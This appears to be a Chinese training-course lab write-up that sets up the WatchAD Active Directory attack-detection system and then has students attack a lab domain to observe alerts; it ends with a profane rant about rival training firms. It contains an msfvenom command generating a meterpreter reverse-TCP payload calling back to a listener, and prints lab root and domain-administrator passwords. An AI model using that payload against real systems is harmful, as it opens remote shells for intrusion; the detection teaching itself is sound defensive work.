目前支持的具体检测功能如下:
•信息探测:使用SAMR查询敏感用户组、使用SAMR查询敏感用户、蜜罐账户的活动、PsLoggedOn信息收集•凭证盗取:Kerberoasting (流量)、AS-REP Roasting、远程Dump域控密码•横向移动:账户爆破、显式凭据远程登录、目标域控的远程代码执行、未知文件共享名、Kerberos票据加密方式降级(流量)、异常的Kerberos票据请求(流量)•权限提升:ACL修改、MS17-010攻击检测、新增组策略监控、NTLM 中继检测、基于资源的约束委派权限授予检测、攻击打印机服务 SpoolSample、未知权限提升、MS14-068攻击检测(流量)、Kerberos约束委派滥用(流量)•权限维持:AdminSDHolder对象修改、DCShadow攻击检测、DSRM密码重置、组策略委派权限授予检测、Kerberos约束委派权限授予检测、敏感用户组修改、域控新增系统服务、域控新增计划任务、SIDHistory属性修改、万能钥匙-主动检测、万能钥匙-被动检测(流量)、黄金票据(流量)•防御绕过:事件日志清空、事件日志服务被关闭
watchADserver: 10.100.0.101 用户名:root 密码:Abc123!
watchADserver操作系统使用centos8,在完成系统安装后,需要完成的内容如下:
关闭selinux
AD域控服务器操作系统使用Windows2008,在完成系统安装后,需要完成的内容如下:
配置IP地址信息,修改DNS为127.0.0.1
安装java基础环境
[root@watchAD1 ~]# yum -y install java-1.8.0-openjdk.x86_64
在/etc/yum.repos.d/
中创建elasticsearch.repo
文件,内容如下:
[elasticsearch-5.x]
[root@watchAD1 ~]# cd /etc/yum.repos.d/
[root@watchAD1 yum.repos.d]# vi elasticsearch.repo
[root@watchAD1 yum.repos.d]# dnf install -y elasticsearch
编辑
/etc/elasticsearch/elasticsearch.yml
文件,
修改内容如下:
cluster.name: my-application
[root@watchAD1 ~]# systemctl start elasticsearch
[root@watchAD1 ~]# systemctl enable elasticsearch.service
3.2 安装logstash
自ELK
官网下载RPM
包,链接:https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm
[root@watchAD1 ~]# wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm
[root@watchAD1 ~]# rpm -ivh logstash-6.4.1.rpm
编辑
/etc/logstash/logstash.conf
,
使其内容如下(配置文件内容复制自watchAD
代码中的settings/logstash/logstash.conf
):
input {
[root@watchAD1 ~]# cd /usr/share/logstash/bin
[root@watchAD1 bin]# ./logstash -f /etc/logstash/logstash.conf
不建议先运行此命令,配置文件中的rabbitmq
还未安装,启动logstash
会出现RabbitMQ connection error
的报错。
配置mongodb
的yum
源,编辑文件/etc/yum.repos.d/mongodb.repo
,内容如下:
[mongodb-org-4.2]
[root@watchAD1 ~]# dnf -y install mongodb-org
[root@watchAD1 ~]# systemctl start mongod
[root@watchAD1 ~]# systemctl enable mongod
[root@watchAD1 ~]# mongo
进入到mongodb的命令行后,通过如下指令创建用户(由于watchAD配置文件中写入了口令,为此不要更改为自定义,直接复制即可)
3.4 安装rabbitmq
配置rabbitmq
的yum
源,编辑文件/etc/yum.repos.d/rabbitmq.repo
,内容如下:
[rabbitmq_erlang]
[root@watchAD1 ~]# dnf -y install rabbitmq-server.noarch
(此步骤时间会较长,网络中断可重新运行几次即可)
完成安装后,需要配置rabbitmq
的口令及权限,依照watchAD
中的配置文件建立对应的口令,命令如下:
[root@watchAD1 ~]# systemctl start rabbitmq-server
[root@watchAD1 ~]# rabbitmqctl set_user_tags WatchAD administrator
[root@watchAD1 ~]# rabbitmqctl set_permissions -p / WatchAD '.' '.' '.*'
[root@watchAD1 ~]# systemctl restart rabbitmq-server
[root@watchAD1 ~]# systemctl enable rabbitmq-server
[root@watchAD1 ~]# dnf -y install redis
[root@watchAD1 ~]# systemctl enable redis
[root@watchAD1 ~]# cd /usr/share/logstash/bin/
[root@watchAD1 bin]# ./logstash -f /etc/logstash/logstash.conf &
[root@watchAD1 ~]# dnf install -y python36
[root@watchAD1 ~]# pip3 install wheel
[root@watchAD1 ~]# yum -y install git
[root@watchAD1 ~]# git clone https://gitee.com/mirrors/watchad.git
[root@watchAD1 ~]# git clone https://gitee.com/xzwwzw/WatchAD-Web.git
[root@watchAD1 ~]# cd watchad/
[root@watchAD1 watchad]# pip3 install -r requirements.txt
修改settings/winlogbeat/winlogbeat.yml
的hosts
内容为watchad
服务器地址
检测watchad的数据库相关信息
[root@watchAD1 watchad]# python3 WatchAD.py --check
安装watchad
python3 WatchAD.py --install -d farmsec.com -s 10.100.0.102 -u farmsec\\administrator -p Abc123!
上述命令中,主要参数为AD域控服务器的相关信息,值得注意的是-u参数的域名与用户名的格式。
通过如下指令启动watchad
[root@watchAD1 watchad]# python3 WatchAD.py --start
WatchAD-Web
中frontend/.env.production
及frontend/.env.development
文件的IP信息,修改为watchad
的地址即可。ps:网上的教程中,提到需要修改server/config/database_config.py
,将127.0.0.1
全部替换为外网口IP,个人感觉貌似由于拆开安装的方式不需要,所以没做~
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
[root@watchAD1 WatchAD-Web]# docker-compose build
[root@watchAD1 WatchAD-Web]# docker-compose up -d
启动成功后,使用浏览器访问http://IP//activity_timeline.html#/
确认web页面可成功打开。
其中一个未解决的问题是Dashboard
页面打开为空白。但查看警报为问题,反正也不影响用。
5.1 打开windows
日志审计
通过开始菜单-->管理工具-->本地安全策略-->本地策略-->审核策略,打开全部项目项目审计
5.2 下载winlogbeat-6.2.0-windows-x86_64
,kali中下载即可。
wget https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-6.2.0-windows-x86_64.zip
解压缩后,将winlogbeat.yml
内容清空后,添加如下内容(其中IP
地址为watchAD
主机地址),随后上传至windows AD
域服务器。
winlogbeat.event_logs:
启动powershell
,执行如下指令:
cd 'C:\share\winlogbeat-6.2.0-windows-x86_64'
PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1 .\winlogbeat.exe -e -c .\winlogbeat.yml
如果能看到EventLog succesfull的字样应该问题就不大了:)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.100.0.100 LPORT=4444 -f exe -o farmsec.exe
然后观察watchAD的日志反馈情况。
提权+新建用户+持久化访问等等
然后观察watchAD的日志反馈情况。
watchAD的工作原理是哪样?
假如你是产品的开发者,你下一步完善哪些细节的内容?
当使用metasploit或者CS攻击时,操作系统端的日志会提供哪些有价值的信息可供参考?
如何更为接近原理的方式,在AD域内发现hash传递、黄金票据等攻击的痕迹并该如何做出判断及响应?
如何根据逻辑规划出针对AD安全更为好用的解决方案(抛弃web界面或通用产品)
以小组为单位,构建一个更接近真实环境的AD域环境,如域控、文件服务器、客户端等。
搭建好watchAD的环境后,通过之前内网的课程,进行内网漫游、提权、AD域渗透等,直至获取所有的服务器system权限及持久化访问。
期间观察每个动作在windows日志及watchAD中的痕迹。
如果这个实验,对网络的压力没那么大的情况下,watchAD会与另外5-6个安全防御的知识点构成一天的教学内容。
然后他们会下午复习,晚上实验、思考,而现在只能拆分出来后,变成休息日的自修内容。
你可以思考下,要完成这个实验所需要的内容:
(1).技能方向:
要完成这个作业的人们,今年三月份的时候,我还在B站直播从cd、ls开始教,五个月以后现在我们开始探讨攻防对抗的东西了。
简单来说,我们的课程体系适应不了那种过于低级的思考方式:
比如说我们根本没有办法提供同行所能提供的那种知识点的图表,半年的课程如果拆分成那样,起步5000个,如果想,我能上万。
比如说教学的初期,我们必须要让学员有一个足够厚实的底子能去支撑到后面的内容,但是如果遇到一些期待速成的人,他的评价就会是运维,然后实验我不做,亦或者其他的内容。
比如说我们遇到的一些"聪明人"卡梦想班的bug,或者这话可以这样说,我希望遇到的人,是明白一些能让自我更好的道理,也有自我的驱动力,而"在农夫学习,没找到工作不用付学费"这句话,应该是我说,而不是你说,因为如果一个人给自己留了退路,那就一定会走上退路......
我的某些同行的们,他们现在最擅长的是让我们的知乎账号被封禁,也同样擅长买个阿里云主机,就包装成阿里巴巴的战略合作伙伴。
这是我们对他们的中肯的一句评价:
整天就他妈整这老娘们儿事儿!